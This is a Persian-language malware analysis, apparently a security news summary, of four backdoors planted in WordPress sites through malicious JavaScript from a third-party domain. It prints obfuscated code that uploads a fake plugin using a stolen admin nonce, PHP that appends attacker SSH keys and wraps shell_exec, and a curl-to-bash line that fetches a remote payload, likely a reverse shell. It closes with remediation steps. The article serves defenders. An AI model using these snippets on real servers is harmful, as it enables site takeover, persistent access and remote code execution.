چهار بکدور مجزا چندین وبسایت مبتنی بر وردپرس را به یک کد جاوااسکریپت مخرب آلوده کرده اند. این بکدورها به مهاجمان امکان میدهند حتی در صورت شناسایی و مسدود شدن یک مسیر نفوذ، از مسیرهای دیگر دسترسی خود را بازیابی کنند و کنترل سیستم را حفظ کنند.
یک پژوهشگر از شرکت c/side در گزارش خود، روز 5 مارس، اعلام کرد که وجود چهار بکدور به مهاجمان کمک میکند تا چندین نقطه ورود داشته باشند و در صورت بسته شدن یکی، از سایرین استفاده کنند.
این کد جاوا اسکریپت مخرب از دامنه cdn.csyndication[.]com بارگذاری میشود و تاکنون دستکم ۹۰۸ وبسایت به این دامنه ارجاع دارند.
عملکردهای Backdoor:
- آپلود یک پلاگین مخرب وردپرس از طریق یک اسکریپت مخفی
- تزریق جاوااسکریپت مخرب
- افزودن کلیدهای SSH تحت کنترل مهاجم
- اجرای دستورات از راه دور و دریافت بدافزار (Payload)
دامنه مخرب تنها در دو منبع اطلاعات تهدید (Threat Feeds) وجود دارد


اولین Backdoor:
یک فایل فشرده کدگذاری شده با base64 :
این بدافزار اطلاعات صفحه آپلود افزونه وردپرس را برای به دست آوردن توکن _wpnonce (محافظت CSRF) جمع آوری می کند.
O00O00911F_0x2bcbf3().then(_0x58a9ee => {
if (_0x58a9ee) {
const _0x425d54 = new FormData();
_0x425d54.append("_wpnonce", _0x58a9ee);
_0x425d54.append("pluginzip", O00O00911F_0x4e0619, "ultra-seo-processor-wp.zip");
fetch("/wp-admin/update.php?action=upload-plugin", {
method: "POST",
body: _0x425d54,
credentials: "include"
})
}
});
این بدافزار یک پلاگین جعلی به نام ultra-seo-processor-wp.zip را در یک وبسایت وردپرسی آپلود و نصب میکند. فایل ZIP شامل کد PHP حاوی Backdoor است.
سپس تلاش میکند تا یک پلاگین مخرب دیگر را آپلود کند
return fetch("/wp-admin/plugin-install.php?tab=upload", {
method: "GET",
credentials: "include"
}).then(_0x58b74d => _0x58b74d.text()).then(_0x29d24b => {
const _0x577cdd = new DOMParser();
const _0x240b0e = _0x577cdd.parseFromString(_0x29d24b, "text/html");
const _0x1bd6e5 = _0x240b0e.querySelector("input[name=\"_wpnonce\"]");
if (_0x1bd6e5) {
return _0x1bd6e5.value;
}
});
این تابع یک توکن nonce مدیریت را از وردپرس دریافت کرده و سپس سعی میکند پلاگین ultra-seo-processor-wp.zip را به مسیر /wp-admin/update.php?action=upload-plugin
آپلود کند، که نشانهای واضح از دسترسی غیرمجاز در سطح مدیریت است.
سپس اسکریپت تلاش میکند تا یک فایل بکدور را در مسیر /wp-content/plugins/
اجرا کند.
return fetch("/wp-content/plugins/ultra-seo-processor/ultra-seo-processor.php?f6975d6b0e6087dbea971c93cdce5dd2=da00c38aacde5b89aa408c8338151caa", {
method: "GET",
credentials: "include"
});
این تابع PHP بهدنبال دایرکتوریهای نصب وردپرس و لاراول میگردد و سعی میکند فایلهای وردپرس (wp-config.php، wp-blog-header.php) و لاراول (artisan) را شناسایی کند تا از آنها برای سوءاستفاده احتمالی استفاده کند.
function findSpecialDirectories($rootDir) {
$directories = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$rootDir,
FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isDir()) {
$path = $file->getRealPath();
if (!$path) {
continue;
}
if (
file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'artisan')
) {
$directories[] = $path;
}
}
}
return array_unique($directories);
}
تحلیل ultra-seo-processor.zip در اولین Backdoor
فقط یک تشخیص در Virustotal

فایل ZIP که بهصورت base64 کدگذاری شده و از طریق یک اسکریپت مخفی در وردپرس تزریق میشود، شامل موارد زیر است:
- ultra-seo-processor.php: یک پلاگین تقلبی وردپرس که دستورات مهاجم را اجرا میکند.
- کدی که پلاگین را از پنل مدیریت مخفی میکند و تشخیص آن را سخت میکند.
- توابعی که دایرکتوریها را برای شناسایی نصبهای وردپرس و لاراول اسکن میکنند.
- کد تزریقی به فایل wp-config.php برای حفظ پایداری.
- نصب کلید SSH که دسترسی از راه دور به سرور را امکانپذیر میکند.
در اینجا یک بخش از PHP Backdoor داخل پلاگین آمده است:
function findSpecialDirectories($rootDir) {
$directories = [];
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator(
$rootDir,
FilesystemIterator::SKIP_DOTS | RecursiveDirectoryIterator::FOLLOW_SYMLINKS
),
RecursiveIteratorIterator::SELF_FIRST
);
foreach ($iterator as $file) {
if ($file->isDir()) {
$path = $file->getRealPath();
if (!$path) {
continue;
}
if (
file_exists($path . DIRECTORY_SEPARATOR . 'index.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-config.php') ||
file_exists($path . DIRECTORY_SEPARATOR . 'wp-blog-header.php')
) {
$directories[] = $path;
}
}
}
return array_unique($directories);
}
این تابع تلاش میکند تا موارد نصب شده وردپرس را اسکن کند. بدافزار بهگونهای طراحی شده است که برای گسترش به طور گسترده در تمام نصب های چندگانه CMS روی همان سرور استفاده شود.
$my_execution = function($cmd) {
return shell_exec($cmd);
};
دومین Backdoor:
جاوا اسکریپت مخرب را به wp-config.php تزریق می کند:
$cdn = '
سومین Backdoor:
تزریق SSH Key: کلیدهای SSH تحت کنترل مهاجم را به مسیر ~/.ssh/authorized_keys اضافه می کند تا امکان دسترسی دائمی به سرور را فراهم کند:
$ak_a_file = $ak_base_folder.'/.ssh/authorized_keys';
@file_put_contents($ak_a_file, 'ssh-rsa AAAAB3N...');
@file_put_contents($ak_a_file, 'ssh-ed25519 AAAAC3Nza...');
چهارمین Backdoor:
دستورات از راه دور را اجرا میکند و یک پیلود دیگر را از gsocket[.]io دریافت میکند که به احتمال زیاد یک شل معکوس ایجاد میکند. شل معکوس اتصال از سمت سیستم هدف به سمت سیستم مهاجم است.
$my_execution = function($cmd) {
return shell_exec($cmd);
};
$my_stdout = $my_execution('bash -c "$(curl -fsSL https://gsocket[.]io/y)"');
چگونه از وب سایت خود محافظت کنیم
- فوراً پلاگین مخرب وردپرس (ultra-seo-processor) را اگر یافت شد، حذف کنید.
- فایل .ssh/authorized_keys را برای کلیدهای غیرمجاز بررسی کرده و آنها را حذف کنید.
- فایلهای wp-config.php و index.php را برای کدهای تزریقی بررسی کنید.
- اگر سرور وب شما تحت حمله قرار گرفته است، تمام کلمات عبور و حتی نامهای ادمین را تغییر دهید.
- همچنین، لاگهای سیستم را برای هر گونه فعالیت مشکوک بیشتر نظارت کنید.
استفاده از جاوااسکریپتهای شخص ثالث بهعنوان یک بردار حمله امر جدیدی نیست. با این حال، روش بکدور چندگانه که پایداری مهاجمین را به حداکثر میرساند، منحصر به فرد است. با توجه به استفاده گسترده از کتابخانههای جاوااسکریپت بیرونی در تمام سایتها، احتمال میدهیم که این نوع حمله دوباره تکرار شود.